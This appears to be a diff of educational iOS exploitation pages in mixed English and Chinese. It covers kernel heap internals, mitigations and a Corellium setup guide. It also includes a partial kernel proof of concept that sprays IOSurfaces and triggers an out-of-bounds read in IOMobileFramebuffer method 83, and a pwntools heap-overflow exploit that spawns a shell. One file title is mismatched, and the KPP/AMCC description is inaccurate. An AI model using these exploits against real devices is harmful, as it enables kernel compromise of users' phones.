io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## 参考资料
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,256 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apples trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apples root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** 将内存区域标记为不可执行,除非该区域显式包含代码。这样可以阻止攻击者在数据区(例如 stack 或 heap注入 shellcode 并运行,迫使他们依赖更复杂的技术,比如 ROPReturn-Oriented Programming
- **ASLR (Address Space Layout Randomization)** 每次系统运行时随机化代码、库、stack 和 heap 的内存地址布局。这样攻击者就很难预测有用指令或 gadgets 的位置,破坏了许多依赖固定内存布局的利用链。
- **KASLR (Kernel ASLR)** 将相同的随机化概念应用到 iOS kernel。通过在每次启动时打乱 kernel 的基址,阻止攻击者可靠地定位 kernel 函数或结构,从而增加了内核级 exploit 的难度。
- **Kernel Patch Protection (KPP)**(在 iOS 中也称为 **AMCC (Apple Mobile File Integrity)**)持续监控 kernel 的代码页以确保它们未被修改。如果检测到篡改——例如尝试 patch kernel 函数或插入恶意代码——设备会立即 panic 并重启。此保护使得持久性的内核利用更加困难,因为攻击者不能简单地 hook 或 patch kernel 指令而不触发系统崩溃。
- **Kernel Text Readonly Region (KTRR)** 是在 iOS 设备上引入的基于硬件的安全功能。它使用 CPU 的内存控制器在启动后将 kernel 的代码text段标记为永久只读。锁定后即使是 kernel 自身也无法修改该内存区域。这阻止了攻击者(甚至有特权的代码)在运行时 patch kernel 指令,封堵了依赖直接修改 kernel 代码的主要利用方式。
- **Pointer Authentication Codes (PAC)** 在指针的未使用位中嵌入加密签名以在使用前验证其完整性。当创建指针如返回地址或函数指针CPU 使用秘密密钥对其签名在取消引用之前CPU 会检查该签名。如果指针被篡改,检查失败并停止执行。这阻止了攻击者在内存损坏利用中伪造或重用损坏的指针,使得像 ROP 或 JOP 的技术更难可靠完成。
- **Privilege Access never (PAN)** 是一项硬件特性,防止 kernel特权模式在未显式启用访问的情况下直接访问 user-space 内存。这阻止了即使获得 kernel 代码执行的攻击者也能轻易读取或写入用户内存以升级利用或窃取敏感数据。通过强制严格的隔离PAN 降低了 kernel exploit 的影响并阻止了许多常见的权限提升技术。
- **Page Protection Layer (PPL)** 是 iOS 的一项安全机制,用于保护关键的由 kernel 管理的内存区域,尤其是与 code signing 和 entitlements 相关的区域。它使用 MMU 和额外检查强制严格的写保护,确保即使是有特权的 kernel 代码也不能任意修改敏感页。这阻止了获得内核级执行权限的攻击者篡改安全关键结构,使得持久化和绕过 code-signing 更加困难。
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones."
Each zone only stores allocations of a single size class.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | 非常小的 kernel structs、pointers。 |
| `default.kalloc.32` | 32 bytes | 小型 structs、object headers。 |
| `default.kalloc.64` | 64 bytes | IPC messages、微小的 kernel buffers。 |
| `default.kalloc.128` | 128 bytes | 中等对象,例如 `OSObject` 的部分。 |
| `default.kalloc.256` | 256 bytes | 更大的 IPC messages、数组、device structures。 |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | 大型结构体、IOSurface/graphics metadata。 |
**How it worked:**
- Each allocation request gets **rounded up** to the nearest zone size.
(E.g., a 50-byte request lands in the `kalloc.64` zone).
- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
- If you overflowed a 64-byte buffer, youd overwrite the **next object in the same zone**.
This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
### The freelist
Inside each kalloc zone, freed objects werent returned directly to the system — they went into a freelist, a linked list of available chunks.
- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
- The zone kept a HEAD pointer to the first free chunk.
- Allocation always used the current HEAD:
1. Pop HEAD (return that memory to the caller).
2. Update HEAD = HEAD->next (stored in the freed chunks header).
- Freeing pushed chunks back:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
So the freelist was just a linked list built inside the freed memory itself.
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### 利用 freelist
因为 free chunk 的前 8 字节 = freelist pointer攻击者可以破坏它
1. **Heap overflow** 写入到相邻的 freed chunk → 覆盖其 “next” pointer。
2. **Use-after-free** 往 freed object 写入 → 覆盖其 “next” pointer。
然后,在下一次分配相同大小时:
- allocator 会 pop 被破坏的 chunk。
- 遵循攻击者提供的 “next” pointer。
- 返回指向任意内存的指针,从而实现 fake object primitives 或定向 overwrite。
freelist poisoning 的可视化示例:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
This freelist 设计在强化之前使利用非常有效:来自 heap sprays 的可预测邻居、原始指针 freelist 链接,以及缺乏类型分离,允许攻击者将 UAF/overflow 漏洞升级为对任意 kernel memory 的控制。
### Heap Grooming / Feng Shui
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
这样,当发生内存损坏时,攻击者可以可靠地用受控数据覆盖受害对象。
**Steps:**
1. Spray allocations (fill the holes)
- 随着时间推移kernel heap 会碎片化:某些 zone 出现旧对象被释放后留下的空洞。
- 攻击者首先进行大量占位分配以填满这些空隙,使堆变得“紧凑”且可预测。
2. Force new pages
- 一旦空洞被填满,下一波分配必须来自添加到该 zone 的新页面。
- 新页面意味着对象会被聚集在一起,而不是分散在老的碎片化内存中。
- 这使攻击者对邻居对象的控制大大提高。
3. Place attacker objects
- 攻击者再次进行喷洒,在那些新页面中创建大量受控对象。
- 这些对象在大小和位置上是可预测的(因为它们都属于同一个 zone
4. Free a controlled object (make a gap)
- 攻击者有意释放他们自己的某个对象。
- 这会在堆中创建一个“洞”,分配器会在以后重用该大小的下一个分配时使用该洞。
5. Victim object lands in the hole
- 攻击者触发内核分配受害对象(他们想要破坏的对象)。
- 由于该洞是 freelist 中第一个可用插槽,受害对象就会被放在攻击者之前释放对象的位置。
6. Overflow / UAF into victim
- 现在攻击者在受害对象周围拥有受控对象。
- 通过从自己的对象溢出(或重用已释放对象),他们可以可靠地用选定值覆盖受害者的内存字段。
**Why it works**:
- Zone allocator predictability相同大小的分配总是来自同一个 zone。
- Freelist behavior新的分配优先重用最近释放的 chunk。
- Heap sprays攻击者用可预测的内容填充内存并控制布局。
- 最终结果:攻击者控制受害对象落在哪里以及它旁边放着什么数据。
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple 加固了分配器,使得 **heap grooming much harder**
### 1. From Classic kalloc to kalloc_type
- **Before**: 每个大小类16、32、64、… 1280 等)只有一个 `kalloc.<size>` zone。任何该大小的对象都会被放在那里 → 攻击者的对象可以与特权内核对象并排放置。
- **Now**:
- Kernel objects 从 **typed zones**`kalloc_type`)中分配。
- 每种类型的对象(例如 `ipc_port_t``task_t``OSString``OSData`)都有自己的专用 zone即使它们大小相同。
- 对象类型 ↔ zone 之间的映射在编译时由 **kalloc_type system** 生成。
攻击者不能再保证受控数据(`OSData`)会紧邻敏感内核对象(`task_t`)出现。
### 2. Slabs and Per-CPU Caches
- 堆被划分为 **slabs**(为该 zone 切分成固定大小块的内存页)。
- 每个 zone 有一个 **per-CPU cache** 以减少争用。
- 分配路径:
1. 尝试从 per-CPU cache。
2. 如果为空,从全局 freelist 拉取。
3. 如果 freelist 为空,分配新的 slab一个或多个页面
- **好处**:这种去中心化使得 heap sprays 不那么确定性,因为分配可能由不同 CPU 的缓存来满足。
### 3. Randomization inside zones
- 在 zone 内,释放的元素不会按简单的 FIFO/LIFO 顺序返回。
- 现代 XNU 使用 **encoded freelist pointers**(类似 Linux 的 safe-linking大约在 iOS 14 引入)。
- 每个 freelist 指针都用每个 zone 的 secret cookie 进行 **XOR 编码**
- 这阻止攻击者在获得写原语后伪造假的 freelist 指针。
- 有些分配在 slab 内的位置也会被 **随机化**,因此喷洒不能保证相邻性。
### 4. Guarded Allocations
- 某些关键内核对象(例如 credentials、task 结构)在 **guarded zones** 中分配。
- 这些 zones 在 slab 之间插入 **guard pages**(未映射内存)或在对象周围使用 **redzones**
- 任何溢出到 guard page 都会触发 fault → 立即 panic 而不是静默破坏。
### 5. Page Protection Layer (PPL) and SPTM
- 即使你控制了一个已释放对象,也不能修改内核内所有内存:
- **PPL (Page Protection Layer)** 强制某些区域(例如 code signing 数据、entitlements即使对内核本身也是 **只读**
- 在 **A15/M2+ devices** 上,这一角色被 **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** 所替代/增强。
- 这些硬件强制的层意味着攻击者无法从单一的 heap 损坏升级到对关键安全结构的任意修补。
### 6. Large Allocations
- 并非所有分配都通过 `kalloc_type`
- 非常大的请求(超过约 ~16KB会绕过 typed zones直接通过页面分配从 **kernel VM (kmem)** 提供。
- 这些分配可预测性较差,但也较难利用,因为它们不会与其他对象共享 slab。
### 7. Allocation Patterns Attackers Target
即便有这些保护,攻击者仍然寻找:
- **Reference count objects**:如果你能篡改 retain/release 计数,可能会导致 use-after-free。
- **Objects with function pointers (vtables)**:破坏其中一个仍然可以获得控制流。
- **Shared memory objects (IOSurface, Mach ports)**:这些仍然是攻击目标,因为它们桥接 user ↔ kernel。
但——与以前不同——你不能只喷洒 `OSData` 并指望它与 `task_t` 相邻。你需要 **type-specific bugs****info leaks** 才能成功。
### Example: Allocation Flow in Modern Heap
Suppose userspace calls into IOKit to allocate an `OSData` object:
1. **Type lookup**`OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
2. Check per-CPU cache for free elements.
- If found → return one.
- If empty → go to global freelist.
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
3. Return chunk to caller.
**Freelist pointer protection**:
- 每个被释放的 chunk 存储下一个空闲 chunk 的地址,但该地址已用一个秘密 key 进行了编码。
- 用攻击者数据覆盖该字段不会生效,除非你知道该 key。
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and 安装 it even if there is a version mismatch.
### Using BinDiff with Kernel versions
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
4. Open each kernelcache so they are automatically analyzed by Ghidra.
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
---
## Finding the right XNU version
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# iOS 如何连接到 Corellium
{{#include ../../banners/hacktricks-training.md}}
## **Prereqs**
- 一个 Corellium iOS VM无论是否 jailbroken。本指南假设你可以访问 Corellium。
- 本地工具:**ssh/scp**。
- (可选)将 **SSH keys** 添加到你的 Corellium 项目以便免密登录。
## **Connect to the iPhone VM from localhost**
### A) **Quick Connect无需 VPN**
0) 在 **`/admin/projects`** 添加你的 ssh key推荐
1) 打开设备页面 → **Connect**
2) **复制 Corellium 显示的 Quick Connect SSH command** 并粘贴到终端。
3) 输入密码或使用你的 key推荐
### B) **VPN → 直接 SSH**
0) 在 **`/admin/projects`** 添加你的 ssh key推荐
1) 设备页面 → **CONNECT****VPN** → 下载 `.ovpn` 并使用支持 TAP 模式的任意 VPN 客户端连接。(如有问题,请查阅 [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn)。)
2) 使用 SSH 连接到 VM 的 **10.11.x.x** 地址:
```bash
ssh root@10.11.1.1
```
## **上传并执行原生二进制**
### 2.1 **上传**
- 如果 Quick Connect 给了你 host/port
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- 如果使用 VPN (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **上传并安装 iOS 应用 (.ipa)**
### 路径 A — **Web UI (fastest)**
1) 在 Device 页面 → **Apps** 选项卡 → **Install App** → 选择你的 `.ipa`.
2) 在同一选项卡中,你可以 **launch/kill/uninstall**.
### 路径 B — **通过 Corellium Agent 脚本化**
1) 使用 API Agent 来 **upload** 然后 **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### 路径 C — **Non-jailbroken (proper signing / Sideloadly)**
- 如果你没有 provisioning profile使用 **Sideloadly** 用你的 Apple ID 重新签名,或在 Xcode 中签名。
- 你也可以使用 **USBFlux** 将 VM 暴露给 Xcode见 §5
- 如果想在不使用 SSH 的情况下快速查看日志/执行命令,在 UI 中使用设备的 **Console**
## **Extras**
- **Port-forwarding**(让 VM 对其他工具感觉像本地):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**:使用设备页面底部显示的 **LLDB/GDB stub** 地址CONNECT → LLDB
- **USBFlux (macOS/Linux)**:将 VM 呈现给 **Xcode/Sideloadly**,就像一个通过数据线连接的设备。
## **常见陷阱**
- **Proper signing****non-jailbroken** 设备上是必需的;未签名的 IPAs 无法启动。
- **Quick Connect vs VPN**Quick Connect 是最简单的;当你需要设备在本地网络上(例如,本地代理/工具)时,使用 **VPN**
- **No App Store** 在 Corellium 设备上不可用;请自备已(重新)签名的 IPAs。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,205 @@
# iOS 如何连接到 Corellium
{{#include ../../banners/hacktricks-training.md}}
## 漏洞代码
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
用以下命令编译:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> 这个 exploit 正在设置环境变量 `MallocNanoZone=0` 来禁用 NanoZone。这样做是为了在调用 `malloc` 分配小尺寸时获得相邻的分配。否则,不同的 `malloc` 会在不同的 zones 中分配,不会相邻,从而导致 overflow 无法按预期工作。
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
这是对文章 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 的总结,更多使用该技术的利用信息可以在 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) 找到。
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS 上用户进程的虚拟内存地址空间从 **0x0 到 0x8000000000**。但是这些地址并不直接映射到物理内存。相反,内核使用 **page tables** 来将虚拟地址转换为实际的 **physical addresses**
#### Levels of Page Tables in iOS
页表以三级层次结构组织:
1. **L1 Page Table (Level 1)**
* 此处的每个条目代表一大块虚拟内存区域。
* 覆盖 **0x1000000000 bytes**(或 **256 GB**)的虚拟内存。
2. **L2 Page Table (Level 2)**
* 此处的每个条目代表比 L1 更小的虚拟内存区域,具体为 **0x2000000 bytes**32 MB
* 如果 L1 条目无法自行映射整个区域,它可能指向一个 L2 表。
3. **L3 Page Table (Level 3)**
* 这是最细粒度的级别,每个条目映射一个 **4 KB** 的内存页。
* 如果需要更细的控制L2 条目可能指向 L3 表。
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**
* 页表中的某些条目直接将一段虚拟地址范围映射到一段连续的物理地址(类似捷径)。
* **Pointer to Child Page Table**
* 如果需要更细的控制,一个级别(例如 L1中的条目可以指向下一级的 **child page table**(例如 L2
#### Example: Mapping a Virtual Address
假设你尝试访问虚拟地址 **0x1000000000**
1. **L1 Table**
* 内核检查与该虚拟地址对应的 L1 页表条目。如果它包含一个指向 L2 page table 的指针,就转到该 L2 表。
2. **L2 Table**
* 内核检查 L2 页表以获得更详细的映射。如果该条目指向 L3 page table就继续到 L3。
3. **L3 Table**
* 内核查找最终的 L3 条目,它指向实际内存页的 **物理地址**
#### Example of Address Mapping
如果你在 L2 表的第一个索引写入物理地址 **0x800004000**,那么:
* 虚拟地址从 **0x1000000000****0x1002000000** 映射到物理地址从 **0x800004000****0x802004000**
* 这是在 L2 级别的 **block mapping**
或者,如果 L2 条目指向一个 L3 表:
* 虚拟地址范围 **0x1000000000 -> 0x1002000000** 中的每个 4 KB 页面将由 L3 表中的单独条目进行映射。
### Physical use-after-free
当发生一个 **physical use-after-free (UAF)** 时,情况如下:
1. 进程分配了一段可读写的内存。
2. 内核更新 page tables将这段内存映射到进程可访问的特定物理地址。
3. 进程释放deallocate了该内存。
4. 但是由于一个 **bug**,内核**忘记从页表中移除该映射**,尽管它将对应的物理内存标记为可重用。
5. 内核随后可能将这块“已释放”的物理内存**重新分配**给其他用途,比如内核数据。
6. 由于映射未被移除,进程仍然可以对这段物理内存进行**读写**。
这意味着进程可能访问到**内核内存页**,其中可能包含敏感数据或结构,攻击者可能借此**操纵内核内存**。
### IOSurface Heap Spray
由于攻击者无法控制具体哪些内核页会被分配给被释放的内存,他们使用一种叫做 **heap spray** 的技术:
1. 攻击者在内核内存中创建大量 IOSurface objects。
2. 每个 IOSurface 对象在其某个字段中包含一个用于识别的 **magic value**,便于检测。
3. 他们扫描那些已释放的页面,查看是否有这些 IOSurface 对象落在被释放的页面上。
4. 一旦发现某个 IOSurface 对象位于被释放页面上,就可以利用它来**读写内核内存**。
更多信息见 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> 注意iOS 16+A12+)设备引入了硬件缓解手段(例如 PPL 或 SPTM这些措施使得 physical UAF 技术的可行性大大降低。
> PPL 对与代码签名、权限entitlements和敏感内核数据相关的页面实施严格的 MMU 保护,因此即便某页被重用,从 userland 或被破坏的内核代码对受 PPL 保护页面的写入也会被阻止。
> Secure Page Table Monitor (SPTM) 通过加强页表更新本身来扩展 PPL。它确保即使是高权限的内核代码也无法在不经过安全检查的情况下悄然重新映射已释放页面或篡改映射。
